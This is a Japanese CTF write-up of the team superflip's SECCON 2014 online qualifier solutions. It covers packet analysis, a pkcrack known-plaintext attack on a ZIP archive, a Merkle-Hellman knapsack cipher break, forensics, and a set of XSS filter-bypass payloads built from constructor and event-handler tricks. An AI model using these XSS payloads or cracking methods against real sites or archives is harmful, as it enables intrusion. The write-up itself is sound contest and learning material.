SECCON 2014 オンライン予選(日本語) Write-up
ぼっチームsuperflipは1403点、24位だった。
練習問題 練習問題 100点
FLAG{seccon2014}
このパケットを解析せよ ネットワーク 100点
FTP通信。FTPは制御とファイル転送は別のポートで行う。55番目のパケットに、
RkxBR3tGN1AgMTUgTjA3IDUzQ1VSM30=
というファイルがあり、Base64デコードすると、
FLAG{F7P 15 N07 53CUR3}
ソーシャルハック ネットワーク 300点
今流行のLINE乗っ取り。こちらの用意したサイトにアクセスさせると、
MyVNCpasswordIsVNCpass123
というリファラが付いているので、接続元にVNCで接続すれば良い。
FLAG{giveMeYourWebM0n3y}
decode me 暗号 100点
EUCの中国語ファイル。ROT13にすると英語部分が
SECCON 2014 rot13/47
になる。[0xa1, 0xfe]の文字に対して47を引いたり足したりすれば良い。
nkfでできると復号文に書いてあった( ・∀・)つ〃∩ ヘェーヘェーヘェー
nkf -r encoded.txt > decoded.txt
SECCON 2014 に参加のみなさまこんにちは。 rot13/47 に気付くとは流石です。 nkfコマンドで簡単にデコードできることにも気付きましたか? というわけで、おめでとうございます! フラグは半角英数文字に変換してから入力してください。 FLAG{Have fun SECCON2014}
FLAG{Have fun SECCON2014}
Decrypt it! 暗号 300点
最後のほう取り組んでいたが、結局解けなかった。第一段階はZIPの既知平文攻撃。pkcrackで攻撃できる。CardWareだけど、絵はがき送っていない。ごめんなさい(´・ω・`)
>pkcrack.exe -c crypt -p crypt -C flag.zip -P crypt.zip Files read. Starting stage 1 on Sat Jul 19 18:00:56 2014 Generating 1st generation of possible key2_5158 values...done. Found 4194304 possible key2-values. Now we're trying to reduce these... Done. Left with 3282 possible Values. bestOffset is 24. Stage 1 completed. Starting stage 2 on Sat Jul 19 18:01:09 2014 Ta-daaaaa! key0=376bccce, key1=6037696a, key2=eeb7849c Probabilistic test succeeded for 5139 bytes. Strange... had a false hit. Strange... had a false hit. Stage 2 completed. Starting password search on Sat Jul 19 18:02:23 2014 Key: 34 35 65 50 58 38 54 64 2d 3a Or as a string: '45ePX8Td-:' (without the enclosing single quotes) Finished on Sat Jul 19 18:02:52 2014
ZIPを解凍するとPDFをcryptで暗号化したファイルが出てくる。せめて、公開鍵を問題に含めてほしかったorz
2014/07/20 追記
最後まで解いた。
ZIPの中にはreadme.txtも入っていて、中身は、
$ ./makekey pri.txt pub.txt $ ./crypt 1 pub.txt flag.pdf flag.bin $ rm *.txt flag.pdf
cryptを解析すると、次のプログラムの前半部のような処理をしていることが分かる。
import sys import struct key = map(int, open(sys.argv[2]).read().split()) if sys.argv[1]!="0": P = open(sys.argv[3], "rb").read() C = [] for p in P: C += [sum(key[7-i] for i in range(8) if ord(p)>>i&1)] open(sys.argv[4], "wb").write( struct.pack("<I", len(P)*4) + "".join(struct.pack("<I",c) for c in C).encode("zlib")) else: T = {} for p in range(256): T[sum(key[7-i] for i in range(8) if p>>i&1)] = p buf = open(sys.argv[3], "rb").read() n = struct.unpack("<I", buf[:4])[0]/4 C = struct.unpack("<"+"I"*n, buf[4:].decode("zlib")) P = "".join(chr(T[c]) for c in C) open(sys.argv[4], "wb").write(P)
各ビットの位置に対応する値が決まっていて、そのビットが立っていればその値を足し合わせるという暗号化。
pub.txtも消されているので、まずはpub.txtを復元する。暗号化前のファイルがPDFと分かっているので、例えば最初の8バイトは%PDF-1.3であるし、PDF中にはテキストも含まれているので他にもいくつかのバイトの暗号前後の値が分かる。
0x25 → 439 0x50 → 310 0x44 → 266 0x46 → 667 :
例えば、0x44と0x46の差分は0x02なので0x02に対応する値は667-266=401である。同様にして最上位ビット以外の値は求めることができる。最上位ビットは暗号文中の最大の値から0x7fに対応する値を引けば良い。pub.txtは次の通り、左が上位ビット。
380 214 48 96 109 52 401 339
ブロックサイズが8ビットしかないので、平文と暗号文のペアを求めておけば復号できる。それが↑のプログラムの後半のコード。
Merkle-Hellmanナップサック暗号という暗号方式らしい。
また、問題プログラムの復号ルーチンにはrとqが埋め込まれている。r=843, q=463。rのmod qにおける逆元はr-1=357なので、pub.txtの各値xに対してx*357%463を求めれば、pri.txtが生成できる。
1 3 5 10 21 44 90 180
pri.txtがあれば、問題プログラムを使っても復号できる。
$ ./crypt 0 pri.txt flag.bin flag.pdf
FLAG{MeRkleHellmAnKnApsAckCRyptOsysteM}
879,394bytes フォレンジック 100点
ファイルイメージの一部が問題で879,394bytesのファイルのファイル名を答える。0x000D6B22で検索したら、Chrys_anthem_umとかCHRYSA~1JPGとか文字が見えたので、
Chrysanthemum.jpg
をサブミットしたら正解だった。
x86アセンブラを読もう バイナリ 100点
x86のアセブラの実行結果を答える問題。Immunity Debuggerで適当なプログラムを動かして、問題のアセンブラを上書きすれば良い。
0136104B 6A FF PUSH FF
で実際はスタックにFFFFFFFFが積まれるけれど、スタックに積まれた値を000000FFに書き換えたら答えになった。何故だろう?
32638
重ねてみよう プログラミング 100点
白黒のアニメーションGIF。Photoshopで開いてレイヤーを「比較(明)」に変えていった。まとめて変更できなくて面倒だった。白黒反転させるとQRコードになる。元からそうなのかPhotoshopの制限なのか、少し書けてるが画素があったので、手書きで修正したら読み取れた。
FLAG{Many dot makes a QR code}
あみだくじ プログラミング 300点
あみだくじで正解の番号を選んでいく。実行ごとに結果が変わらないので最初は手作業でやっていたが、さすがに面倒になった。プログラムでは縦棒は無視して横棒が出てきたときに両端の文字を入れ替えていって、最後に*と同じ位置の数字を答えれば良い。上下が反転してもプログラムはほぼそのまま。横向きになるときは最初に回転させるようにした。
import subprocess import sys p = subprocess.Popen(["./amida"], stdin=subprocess.PIPE, stdout=subprocess.PIPE) for i in range(1,100000): s = "" while True: c = p.stdout.read(1) sys.stdout.write(c) sys.stdout.flush() s += c if c=="?": break s = s.split("\n") if "-------------------" in s[1]: tmp = s[1:-1] del s[1:] for t in tmp: t += " "*(len(tmp[0])-len(t)) for j in range(len(tmp[0])): s += [""] for k in range(len(tmp)): if tmp[k][j]=="-": s[-1] += "|" elif tmp[k][j]=="|": s[-1] += "-" else: s[-1] += tmp[k][j] T = list(s[1]) j = 2 while True: if "|" not in s[j]: break ks = -1 for k in range(len(s[j])): if s[j][k]=="-": if ks==-1: ks = k else: if ks!=-1: T[ks-1],T[k] = T[k],T[ks-1] ks = -1 j += 1 S = list(s[j]) for t,s in zip(T,S): if s=="*": ans = t if t=="*": ans = s print "Ans:", ans p.stdin.write(ans+"\n") p.stdin.flush()
No.1 1 2 3 4 5 6 7 8 |-| |-| | | |-| | | | | | |-| | | | | | | | |-| |-| | |-| | | | | | |-| |-| |-| |-| | |-| | | | | |-| | |-| |-| |-| |-| | | | | | | | | |-| | | | | |-| | | |-| |-| | | |-| | | | | |-| | |-| | | | | | |-| | | | |-| | | |-| | | | |-| | | |-| | | | | | |-| | | |-| | |-| |-| |-| |-| | | | | | | | | | |-| | * ?Ans: 4 No.2 1 2 3 4 5 6 7 8 | |-| | | |-| | |-| |-| |-| | | | |-| | | | |-| : | | |-| | | |-| | |-| |-| | | | |-| |-| |-| | | 8 7 6 5 4 3 2 1 ?Ans: 8 No.39 * | |-| | | | |-| | | |-| | | | | |-| | |-| | |-| | | | | | | | | | | |-| |-| |-| |-| | |-| |-| | | | |-| | | | | | |-| |-| |-| | |-| |-| |-| |-| | |-| |-| |-| | |-| | | |-| |-| | | |-| | | | | |-| | |-| | |-| | | | | |-| | | | | | |-| |-| | |-| | | |-| |-| | | | |-| | | | | |-| | | |-| | |-| | | |-| |-| 8 7 6 5 4 3 2 1 ?Ans: 5 No.40 * |-| | |-| |-| | | |-| | |-| | | |-| |-| | | | | : |----| | | | | |--| | |----| | | | | | | | |---| |--| | | |----| | | | |-| | * ?Ans: 7 No.43 * | |----| |-| | | | | | |---| |---| |--| | |----| | | |--| | |---| | |-| | |--| | | |---| | |--| | | |----| | |---| | | |---| | |-| | | | | | |---| |---| |--| | |----| | | |--| | | | | |-| | |--| | |----| | |---| | | | | | |-| |--| | |---| | | |---| | | | | |---| | |--| | | |----| |-| | |--| | | | | | | | | |---| |---| |---| |--| | |----| |-| | | | |---| |---| | |--| | 1 2 3 4 5 6 7 8 ?Ans: 6 No.44 * |---| | |--| | | | | | | | |--| |---| | |--| | | |----| | : | |-| |-| |-| | | | | | | | |-| 8 7 6 5 4 3 2 1 ?Ans: 5 No.541 -------------------1 | | | | | | | | | | | | | | -------------------2 | | | | | | | | | -------------------3 | | | | | | | -------------------4 | | | | | | | | | | | | | | | | | | | | | | | | | | | | -------------------5 | | | | | | | | | | | | | | | | | | | | *-------------------6 | | | | | | | | | | -------------------7 | | | | | | | | | | -------------------8 ?Ans: 8 No.542 1 2 3 4 5 6 7 8 | | | | |-| |-| | | |-| | | | | | | | | | | | | : -------------------7 | | | | | | | *-------------------8 ?Ans: 8 No.1000 1 2 3 4 5 6 7 8 | | |-| |-| |-| | | | |-| |-| | |-| | | |-| | | | | |-| | |-| | | |-| | | | | | |-| |-| | |-| | | | | | |-| | | | | |-| | | |-| | |-| |-| |-| | |-| | | | | |-| | |-| |-| | | | | | |-| |-| |-| |-| | |-| |-| | | |-| | | | | | |-| | | |-| |-| | |-| |-| | | | | | | | | | | | |-| | |-| | |-| | | |-| | | | | * ?Ans: 3 FLAG{c4693af1761200417d5645bd084e28f0f2b426bf}
FLAG{c4693af1761200417d5645bd084e28f0f2b426bf}
箱庭XSSリターンズ Web 300点
こんな問題。一度使った単語は以降のステージでは使えなくなる。
"><script>_='aconstructor'.slice(1001-1000),__='aalert'.slice(1001-1000),___='aXSS'.slice(1001-1000),{}[_][_](__+'(\''+___+'\')')()</script> "onmouseover="_='bconstructor'.substring(1003-1002),__='balert'.substring(1003-1002),___='bXSS'.substring(1003-1002),{}[_][_](__+'(\''+___+'\')')() "onmousedown="_='cconstructor'.substr(1005-1004),__='calert'.substr(1005-1004),___='cXSS'.substr(1005-1004),{}[_][_](__+'(\''+___+'\')')() "onmouseup="_='constructor',__='alert',___='XSS',{}[_][_](__+'(\''+___+'\')')() "onclick="_='constructor',__='alert',___='XSS',{}[_][_](__+'(\''+___+'\')')() "onkeydown="_='constructor',__='alert',___='XSS',{}[_][_](__+'(\''+___+'\')')() "onfocus="_='\u0063onstructor',__='\u0061lert',___='\u0058SS',{}[_][_](__+'(\''+___+'\')')() "onchange="_='\143onstructor',__='\141lert',___='\130SS',{}[_][_](__+'(\''+___+'\')')()
これで部分点は貰えた。jjencodeで記号だけにすれば良いのではと思ったけど、内部で使っているIEが古いらしく、"hogehoge"[1]と文字を取り出すことができないので、動かなかった(´・ω・`)
FLAG{dbe6Z7bdbpa3e7cdcccc5c0} (100点)